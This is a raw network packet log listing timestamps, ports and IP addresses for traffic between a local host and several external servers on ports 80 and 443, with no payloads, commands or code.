Dec 7, 2024 15:07:02.700167894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.700253963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.700298071 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.701189041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.701236010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.701318026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.701361895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.702076912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.702155113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.702198982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.703134060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.703196049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.703217983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.703252077 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.704217911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.704230070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.704284906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.705143929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.705199957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.705245972 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.705286026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.706212044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.706224918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.706259966 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.707175016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.707187891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.707237959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.708205938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.708218098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.708255053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.709162951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.709204912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.709472895 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.709515095 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.710104942 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.710150003 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.710213900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.710256100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.711344004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.711396933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.711455107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.711493969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.712316036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.712327957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.712368965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.713196993 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.713238955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.713285923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.713326931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.714164019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.714205980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.714257956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.714298010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.715329885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.715389967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.715409994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.715439081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.716159105 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.716366053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.716412067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.717245102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.717257977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.717307091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.718245983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.718298912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.718337059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.718383074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.719217062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.719271898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.719330072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.719371080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.720201969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.720321894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.720375061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.721143007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.721195936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.837907076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.838025093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.838064909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.838112116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.838365078 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.838377953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.838414907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.839350939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.839396954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.839443922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.839488029 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.840421915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.840466022 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.863864899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.864046097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.864080906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.864098072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.864348888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.864392042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.864496946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.864538908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.865422964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.865448952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.865466118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.865488052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.866369009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.866432905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.866492033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.866529942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.867341995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.867383957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.867470980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.867511034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.868412971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.868455887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.868530035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.868576050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.869451046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.869462013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.869498014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.870531082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.870574951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.870651007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.870691061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.871396065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.871438026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.871491909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.871529102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.872426987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.872438908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.872473001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.873480082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.873528004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.873562098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.873601913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.874392986 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.874442101 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.874525070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.874567032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.875391960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.875437975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.875478983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.875518084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.876410961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.876481056 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.876499891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.876540899 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.877474070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.877516031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.877593994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.877635956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.878449917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.878505945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.878561020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.878603935 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.879447937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.879491091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.879496098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.879534006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.880446911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.880491018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.880522966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.880563021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.881494999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.881536961 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.881551027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.881591082 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.882484913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.882527113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.882550955 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.882591009 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.883542061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.883583069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.883646965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.883690119 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.884495974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.884531975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.884538889 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.884569883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.885471106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.885514021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.885600090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.885643959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.886440992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.886502981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.886600971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.886643887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.887461901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.887506008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.887630939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.887671947 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.888459921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.888501883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.888587952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.888627052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.889565945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.889576912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.889621973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.890588999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.890600920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.890659094 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.891767979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.891809940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.891879082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.891963005 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.892513037 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.892679930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.892683983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.892716885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.893604994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.893615961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.893660069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.894515038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.894556999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.894665003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.894711018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.895524025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.895565987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.895780087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.895823002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.896634102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.896648884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.896677017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.896693945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.897536993 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.897578955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.897610903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.897650003 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.898538113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.898581982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.898638964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.898688078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.899516106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.899560928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.899595022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.899632931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.900537014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.900582075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.900701046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.900743008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.901542902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.901587963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.901684046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.901741028 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.902642965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.902690887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.902692080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.902740955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.903644085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.903687954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.903729916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.903769016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.904628038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.904639959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.904674053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.905596018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.905765057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.905807018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.906652927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.906665087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.906698942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.907665014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.907718897 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.907731056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.907766104 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.908601999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.908644915 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.908708096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.908756018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.909584045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.909627914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.909672976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.909712076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.910629034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.910671949 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.910712004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.910749912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.911597967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.911640882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.911700964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.911751986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.912636995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.912677050 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.912683010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.912714005 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:03.029906988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:03.029942989 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:03.030118942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:03.030118942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:03.030320883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:03.033713102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:03.282447100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:03.282974958 CET	49742	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:03.402251959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:07:03.402698994 CET	80	49742	185.215.113.206	192.168.2.8
Dec 7, 2024 15:07:03.402774096 CET	49742	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:03.402965069 CET	49742	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:03.522941113 CET	80	49742	185.215.113.206	192.168.2.8
Dec 7, 2024 15:07:04.059051037 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.059143066 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.063128948 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.063137054 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.063661098 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.064832926 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.111326933 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.754642963 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.754673958 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.754699945 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.754724979 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.754738092 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.754772902 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.754793882 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791487932 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.791528940 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.791560888 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791572094 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.791608095 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791611910 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.791646957 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791673899 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.791712999 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791919947 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791930914 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:04.791944027 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:04.791949034 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:05.242305994 CET	80	49742	185.215.113.206	192.168.2.8
Dec 7, 2024 15:07:05.242368937 CET	49742	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:08.370930910 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:08.371073008 CET	49742	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:47.686636925 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:07:47.806629896 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:07:47.806693077 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:08:04.020438910 CET	49744	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:04.140532017 CET	80	49744	185.215.113.43	192.168.2.8
Dec 7, 2024 15:08:04.140625954 CET	49744	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:04.141177893 CET	49744	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:04.260967970 CET	80	49744	185.215.113.43	192.168.2.8
Dec 7, 2024 15:08:05.481297016 CET	80	49744	185.215.113.43	192.168.2.8
Dec 7, 2024 15:08:05.481380939 CET	49744	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:06.984251022 CET	49744	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:06.984654903 CET	49745	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:07.105532885 CET	80	49744	185.215.113.43	192.168.2.8
Dec 7, 2024 15:08:07.105699062 CET	49744	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:07.106040001 CET	80	49745	185.215.113.43	192.168.2.8
